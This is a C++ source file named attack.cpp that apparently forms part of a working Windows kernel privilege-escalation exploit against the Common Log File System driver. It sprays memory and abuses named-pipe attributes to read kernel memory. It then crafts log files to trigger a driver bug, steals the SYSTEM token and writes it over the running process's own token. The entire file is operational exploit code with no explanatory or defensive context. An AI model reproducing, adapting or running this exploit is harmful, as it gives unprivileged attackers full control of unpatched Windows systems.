attack.cpp

#include "attack.h"
#include "leak.h"
#include "createLogFile.h"
#include "getOffset.h"
#include "craftFile.h"

UINT64 addr1 = 0x5000000, addr2 = 0x10000;
UINT64 fakeUserBase = 0xffffffff;
HANDLE hReadPipe = NULL, hWritePipe = NULL;
FARPROC userClfsEarlierLsn = NULL, userSeSetAccessStateGenericMapping = NULL;
UINT64 ClfsEarlierLsnAddr = 0, SeSetAccessStateGenericMappingAddr = 0;
UINT64 systemTokenValue = 0, nextToken = 0;
IO_STATUS_BLOCK pipeAttrIoStatusBlock = {};

void sprayHeap() {
	PVOID buffer1 = NULL, buffer2 = NULL;

	buffer1 = VirtualAlloc((LPVOID)addr1, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (buffer1 == NULL) {
		puts("[-] Failed to allocate memory in buffer1");
		return;
	}
	//printf("[+] buffer1: 0x%x\n", buffer1);

	buffer2 = VirtualAlloc((LPVOID)addr2, 0x1000000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (buffer2 == NULL) {
		puts("[-] Failed to allocate memory in buffer2");
		return;
	}

	for (UINT64 i = 0; i < 0x1000000; i += 0x10)
		*(UINT64*)(i + 0x10000) = addr1;
	puts("[+] Spray heap done");
}

void pipeArbitraryWrite() {
	DWORD bytesReturned = 0;
	ULONG retlen = 0;
	PVOID bigPool = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (bigPool == NULL) {
		puts("[-] Alloc bigPool buffer failed");
		return;
	}

	// Step 1
	// make pipe to read and write
	bool ok = CreatePipe(
		&hReadPipe,		// read handle for the pipe
		&hWritePipe,		// write handle for the pipe
		0,				// inherited handle by child process
		0x1000			// allocate 0x1000 bytes for buffer pipe
	);
	if (!ok)
		return;

	void* pipeFsctlInputBuffer = malloc(0x2000);
	void* dest = malloc(0x100);
	NTSTATUS status = NtFsControlFile(
		hReadPipe,					// target pipe handle
		0,							// no completion event
		0,							// no APC routine
		0,							// no APC context
		&pipeAttrIoStatusBlock,		// receives final I/O status
		CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0xf, METHOD_BUFFERED, FILE_ANY_ACCESS), // require npfs.sys attach attribute to pipe handle
		pipeFsctlInputBuffer,		// pipe attribute input data
		0xfd8,						// input data size
		dest,						// output buffer
		0x100						// output buffer size
	);
	if (!NT_SUCCESS(status)) {
		printf("[-] NtFsControlFile failed: 0x%x\n", status);
		return;
	}

	status = NtQuerySystemInformation(SystemBigPoolInformation, bigPool, 0x1000, &retlen);
	if (status != STATUS_INFO_LENGTH_MISMATCH) {
		printf("[-] First query unexpected status: 0x%x\n", status);
		VirtualFree(bigPool, 0, MEM_RELEASE);
		return;
	}

	PVOID bigPool2 = VirtualAlloc(NULL, retlen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	status = NtQuerySystemInformation(SystemBigPoolInformation, bigPool2, retlen, &retlen);
	// find big pool with "NpAt" tag
	if (NT_SUCCESS(status)) {
		PSYSTEM_BIGPOOL_INFORMATION pBigPool = (PSYSTEM_BIGPOOL_INFORMATION)bigPool2;
		for (ULONG i = 0; i < pBigPool->Count; i++) {
			if (!memcmp(pBigPool->AllocatedInfo[i].Tag, "NpAt", 4)) {
				printf("[+] Virtual address: 0x%p; Tag: %s\n", pBigPool->AllocatedInfo[i].VirtualAddress, pBigPool->AllocatedInfo[i].Tag);
				pipeAttrIoStatusBlock.Pointer = pBigPool->AllocatedInfo[i].VirtualAddress;
				break;
			}
		}
	}
	else {
		printf("[-] Query System Information failed, error: 0x%x\n", status);
		return;
	}

	// Step 2
	// spray AttributeValueSize field in PipeAttribute object
	char* pipeAttributeValueSizeKernelAddr = (char*)pipeAttrIoStatusBlock.Pointer + 0x18;
	for (UINT64 i = 8; i < 0x1000000; i += 0x10)
		*(UINT64*)(i + 0x10000) = (UINT64)pipeAttributeValueSizeKernelAddr;

	// store SYSTEM _EPROCESS object
	UINT64* startFakeUserAddress = (UINT64*)VirtualAlloc((LPVOID)fakeUserBase, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (startFakeUserAddress == NULL) {
		puts("[-] Alloc fake user mapping failed");
		return;
	}

	*(UINT64*)fakeUserBase = systemEPROCESSPageBase;
	*(UINT64*)(fakeUserBase + 8) = 0x414141414141005a;

	// Step 3
	HMODULE clfsUserBase = LoadLibraryExW(L"C:\\Windows\\System32\\drivers\\clfs.sys", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (clfsUserBase == NULL) {
		printf("[-] Load clfs.sys failed, error: 0x%x\n", GetLastError());
		return;
	}
	userClfsEarlierLsn = GetProcAddress(clfsUserBase, "ClfsEarlierLsn");
	//printf("[+] ClfsEarlierLsn user address: 0x%llx\n", userClfsEarlierLsn);

	HMODULE ntUserBase = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	if (ntUserBase == NULL) {
		printf("[-] Load ntoskrnl.exe failed, error: 0x%x\n", GetLastError());
		return;
	}
	userSeSetAccessStateGenericMapping = GetProcAddress(ntUserBase, "SeSetAccessStateGenericMapping");
	//printf("[+] SeSetAccessStateGenericMapping user address: 0x%llx\n", userSeSetAccessStateGenericMapping);

	findKernelModuleBase();

	ClfsEarlierLsnAddr = clfsKernelBase + (UINT64)userClfsEarlierLsn - (UINT64)clfsUserBase;
	SeSetAccessStateGenericMappingAddr = ntKernelBase + (UINT64)userSeSetAccessStateGenericMapping - (UINT64)ntUserBase;
	printf("[+] ClfsEarlierLsn kernel address: 0x%llx\n", ClfsEarlierLsnAddr);
	printf("[+] SeSetAccessStateGenericMapping kernel address: 0x%llx\n", SeSetAccessStateGenericMappingAddr);

	*(UINT64*)addr1 = 0xdeadbeef;
	*(UINT64*)(addr1 + 8) = SeSetAccessStateGenericMappingAddr;
	*(UINT64*)(addr1 + 0x18) = ClfsEarlierLsnAddr; // call in CClfsBaseFilePersisted::RemoveContainer

	puts("[+] Create Lxg.blf file");
	createLxgFile();

	puts("[+] Add log container to Lxg.blf");
	addLogContainerLxgFile();

	puts("[+] Trigger bug");
	triggerBug();
}

void triggerBug() {
	// add a log container for the base log file Log.blf
	ULONGLONG containerSize = 0x200;
	bool ok = AddLogContainer(logHandle, &containerSize, containerPath1, NULL);

	// Mark the file object referenced by lxgHandle for deletion.
	// The file will be deleted when the last handle to it is closed.
	IO_STATUS_BLOCK setInfoIoStatusBlock = { 0 };
	FILE_DISPOSITION_INFORMATION deleteDispositionInfo = { 0 };
	deleteDispositionInfo.DeleteFile = TRUE;
	// if not add DELETE in CreateLogFile for lxgHandle, 
	// the following code will fail with error code 0x22 (ERROR_NO_UNICODE_TRANSLATION)
	NtSetInformationFile(
		lxgHandle,
		&setInfoIoStatusBlock,			// Receives final status information for the operation
		&deleteDispositionInfo,			// Delete disposition: TRUE means mark file for deletion
		sizeof(deleteDispositionInfo),
		FileDispositionInformation		// Request class: set file delete disposition
	);

	// no check NtSetInformationFile return value, just continue to trigger the bug, because even if NtSetInformationFile fails, the later code will still cause system crash due to the crafted Log.blf file
	//puts("[+] Trigger the bug");
	Sleep(500);
	fflush(stdout);

	CloseHandle(lxgHandle); // trigger here, call SeSetAccessStateGenericMapping
	CloseHandle(logHandle);

	WCHAR pipeAttributeName = L'Z';
	char* outputBuffer = (char*)malloc(0x2000);
	// read pipe attribute
	NtFsControlFile(
		hReadPipe,
		0,
		0,
		0,
		&pipeAttrIoStatusBlock,
		CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0xe, METHOD_BUFFERED, FILE_ANY_ACCESS), // read attribute from this pipe handle
		&pipeAttributeName,
		sizeof(pipeAttributeName),
		outputBuffer,
		0x2000
	);

	PUINT64 systemTokenPtr = (PUINT64)((char*)outputBuffer + systemEPROCESSPageOffset + 0x4b8);
	printf("[+] SYSTEM Token ptr: 0x%llx\n", systemTokenPtr);
	systemTokenValue = systemTokenPtr[0];
	nextToken = systemTokenPtr[1];

	printf("[+] SYSTEM Token value: 0x%llx\n", systemTokenValue);
	if (systemTokenValue == 0) {
		puts("Failed attempt try again");
		exit(0);
	}

	Sleep(500);
	fflush(stdout);
}

void tokenReplace() {
	*(UINT64*)fakeUserBase = systemTokenValue;
	*(UINT64*)(fakeUserBase + 8) = nextToken;
	UINT64 tokenMinus8 = g_EPROCESSAddress + 0x4b8 - 8;
	printf("[+] My process Token - 8 = 0x%llx\n", tokenMinus8);

	for (UINT64 i = 8; i < 0x1000000; i += 0x10)
		*(UINT64*)(i + 0x10000) = (UINT64)tokenMinus8;

	createLxgFile();
	addLogContainerLxgFile();
	ULONGLONG containerSize = 0x200;
	BOOL ok = AddLogContainer(logHandle, &containerSize, containerPath1, NULL);

	IO_STATUS_BLOCK setInfoIoStatusBlock = { 0 };
	FILE_DISPOSITION_INFORMATION deleteDispositionInfo = { 0 };
	deleteDispositionInfo.DeleteFile = TRUE;
	NtSetInformationFile(
		lxgHandle,
		&setInfoIoStatusBlock,			// Receives final status information for the operation
		&deleteDispositionInfo,			// Delete disposition: TRUE means mark file for deletion
		sizeof(deleteDispositionInfo),
		FileDispositionInformation		// Request class: set file delete disposition
	);

	//puts("[+] Trigger the bug");
	CloseHandle(lxgHandle);
	CloseHandle(logHandle);

	DeleteFileW(logFilePath); 
	while (logHandleCount > 0)
		DeleteLogByHandle(logHandles[logHandleCount--]);
}